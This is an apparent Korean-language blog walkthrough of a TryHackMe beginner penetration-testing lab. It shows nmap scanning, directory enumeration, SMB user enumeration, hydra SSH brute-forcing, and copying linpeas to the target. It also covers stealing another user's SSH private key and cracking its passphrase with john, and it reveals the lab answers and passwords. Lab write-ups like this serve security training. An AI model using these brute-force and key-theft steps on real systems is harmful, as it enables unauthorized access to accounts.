Deploy the machine and connect to our network
Start Machine 버튼을 클릭해 실습 머신을 실행시키면 된다
Find the services exposed by the machine
시스템에서 실행 중인 서비스를 찾기 위해서는 nmap을 사용한 포트 스캔을 하면 된다
nmap -sCV -p- [ip주소]
# sC: 취약점이 적혀있는 기본 스크립트를 사용해 간단한 취약점까지 스캔한다
# sV: 해당 포트에 어떤 서비스가 있는지, 해당 서비스의 버전 정보를 스캔한다
# -p- : 해당 주소의 모든 포트번호를 스캔함
해당 머신에서는 [22번 ssh, 80번 http, 139,445번 smb, 8009번 ajp, 8080번 http ]를 서비스하고 있다
What is the name of the hidden directory on the web server(enter name without /)?
웹 서버의 디렉터리를 알아내기 위해서는 디렉터리 스캔을 진행해야 한다
gobuster라는 툴을 사용하여 웹사이트 디렉터리 스캔을 해보자
gobuster dir -w /usr/share/wordlists/dirb/big.txt -u [URL주소] -t 100 -f
# gobuster [모드 선택] -w [단어리스트경로] -u [URL 주소] -t [스레드 갯수] -f (디렉터리 안의 파일까지 스캔)
해당 명령어를 입력하게 되면 이러한 화면이 출력된다
여러 디렉터리 중에서 status가 200인 경로가 하나만 있는 것을 확인할 수 있는데
200번은 웹페이지에서 정상적으로 처리하여 응답한 경우를 나타내고
403번은 엑세스가 금지되었음을 나타낸다
그럼 정상적으로 확인이 가능한 development 디렉터리에 접근을 해보자
두 개의 txt파일을 발견할 수 있는데 해당 파일들을 읽어보자
그저 단순한 대화 같아 보이지만 중요하게 봐야 할 점은 J의 비밀번호가 되게 쉽게 되어 있다는 점이다
그러므로 우리는 최대한 J의 비밀번호를 알아내려고 노력을 해야 한다
우리가 접근 가능한 디렉터리는 development밖에 없으므로 정답은 development가 된다
정답: development
User brute-forcing to find the username & password
username을 알아낼 만한 곳이 어디에 있는지를 먼저 알아야 한다.
여러 경로를 떠올릴 수 있겠지만 우리는 smb 서비스에서 해당 정보를 알아낼 것이다
smb서비스에서 정보를 가져올 때 유용한 도구가 있는데 enum4linux라는 도구이다
enum4linux 사용법
1. enum4linux [ip주소]
# 더 많은 정보를 원하면 -e 옵션을 사용해주면 된다
해당 명령어를 입력하고 기다리면 user에는 kay와 jan이 있는 것을 확인했다
여기서 정답으로는 jan을 넣어주자
정답:jan
What is the password?
username을 알아냈다면 해당 계정의 password를 찾기 위해서는 ssh서비스를 사용하면 된다
ssh jan@[ip주소] 명령어를 사용하여 password를 입력하라는 문구가 뜬다면
모든 단어들을 하나하나 넣어보면 된다 그러다 보면 언젠가는 맞는 비밀번호가 나올 것이다
하지만 이 행동을 우리가 하기에는 너무나도 귀찮으니 hydra라는 도구를 사용해 대신시켜 보자
hydra 사용법
hydra -l jan -P /usr/share/wordlists/rockyou.txt ssh
#hydra -l [username] -P [패스워드에 들어갈 단어리스트경로] ssh (ssh에 접근하겠다고 알림)
# 만약 username을 모른다면 -L [단어리스트 경로] 를 사용하면 된다
해당 명령어를 통해 jan의 password는 armando인 것을 알아냈다
정답: armando
What service do you use to access the server(answer in abbreviation in all caps)?
서버에 접속하는 서비스는 당연히 ssh이다
정답: ssh
Enumerate the machine to find any vectors for privilege escalation
권한 상승을 위한 취약점을 찾아내기 위해 사용하는 도구인 linpeas를 다운로드하여 보자
원격지에 파일을 다운로드하게 하는 경우는 크게 두 가지다
1.wget을 통한 다운로드
2. scp를 통한 파일 전송
1. wget을 통한 다운로드
먼저 원격지에서 내가 원하는 파일을 받기 위해 내 pc에서 웹서버를 열어줘야 한다
그 후 원격지에서 wget을 통해 원하는 파일을 다운로드하여 원격지에서 프로그램을 사용할 수 있게 한다
먼저 내 피시에서 웹서버를 열기 위한 명령어는 아래와 같다
python3 -m http.server 80
#전송하고자 하는 파일이 있는 경로에서 실행해야 함
그 후 피해자 pc에서는 wget을 사용해 다운로드한다
wget [내ip]/linpeas.sh /tmp
# wget [ip주소]/[다운로드할 파일명] [저장될 경로]
# /tmp로 다운로드 하는 이유는 권한에 문제가 생일 경우가 적기 때문이다
2. scp를 통한 파일 전송
scp를 사용한 파일 전송은 ssh를 통해 파일을 전송하는 것이기에 양쪽 모두 ssh가 활성화되어 있어야 한다
내 피시에서 원격지로 파일을 전송할 때는 아래의 명령어를 내 피시에서 입력하면 된다
scp linpeas.sh jan@[ip주소]:/tmp
# scp [보낼파일] [사용자이름]@[ip주소]:[저장될 경로]
이번 실습머신에서는 scp를 사용한 파일전송 방식으로 다운로드가 가능했다
linpeas를 피해자 pc에 들고 왔으니 실행을 시켜보자
실행이 되면 상당히 긴 화면을 출력하는데 여기 표시된 색깔을 보고 중요도에 따라 정보들을 보면 된다
What is the name of the other user you found(all lower case)?
아까 enum4linux를 통해 kay라는 유저가 있음을 확인했지만 linpeas를 통해 좀 더 많은 정보들을 찾아보자
linpeas를 찾아보니 /home/kay라는 경로가 있음을 보여주며 kay라는 유저가 있음을 알려준다
정답: kay
If you have found another user, what can you do with this information?
해당 문구를 보면 kay의 ssh키 정보들을 알려주는데
우리는 해당 ssh키를 가지고 kay의 계정으로 비밀번호 없이 접근이 가능하다
사용자 계정의 홈 디렉터리/.ssh/ 경로에 authorized_keys라는 파일이 있다면
해당 계정으로 ssh 접속을 할 때 rsa 개인키만 가지고 접근이 가능하다
rsa개인키는 id_rsa라는 이름으로 저장되며 .ssh 디렉터리 안에 있다
kay의 홈 디렉터리에 가서 id_rsa를 사용하여 ssh 접근을 해보자
개인키를 확인했지만 이 상태로는 사용이 불가능하다
개인키를 패스워드 대신 사용하려면 권한이 600으로 정해져 있어야 한다
해당 권한을 바꾸기 위해 chmod 명령어를 사용해서 바꿔주자
권한이 부족해 바꾸지 못함을 알려준다
현재 디렉터리 위치가 kay의 홈 디렉터리이기에 권한이 부족한 것이다
개인키를 모든 권한이 다 있는 /tmp디렉터리로 cp 명령어를 사용하여 옮겨주자
옮긴 후 해당 키의 권한을 변경 후 ssh 접속을 해보자
개인키를 사용한 ssh 접속에는 -i [개인키] 옵션을 사용해야 한다
개인키의 비밀번호를 물어본다
이럴 때는 john을 사용하여 비밀번호를 크랙 할 수 있다
먼저 john을 사용하기 위한 사전 작업을 해줘야 한다
ssh2john을 사용하여 ssh키를 john의 형식에 맞춰야 한다
공격자의 pc에는 ssh2john이 없으므로 해당 파일을 내 pc로 옮겨 크랙을 시도해 보자
nano에디터를 통해 id_rsa를 열어 키값을 그대로 복사한 뒤 내 pc에서 새로 만들어 주었다
id_rsa를 hash라는 이름으로 ssh2john 해주었다
이제 hash파일로 john을 사용해 보자
john --wordlist=/usr/share/wordlists/rockyou.txt hash
개인키의 비밀번호는 beeswax임을 알아냈다
다시 ssh 접속을 시도해 보자
성공적으로 kay 계정으로 접속했다
What is the final password you obtain?
password를 확인하기 위해서는 kay의 홈 디렉터리의 파일을 확인하면 된다
정답: heresareallystrongpasswordthatfollowsthepasswordpolicy$$
'Hacking > TryHackMe' 카테고리의 다른 글
[TryHackMe] Bolt Walkthrough (0) | 2023.09.13 |
---|---|
[TryHackMe] Ice Walkthrough(정보 수집부터 권한 상승까지) (0) | 2023.09.12 |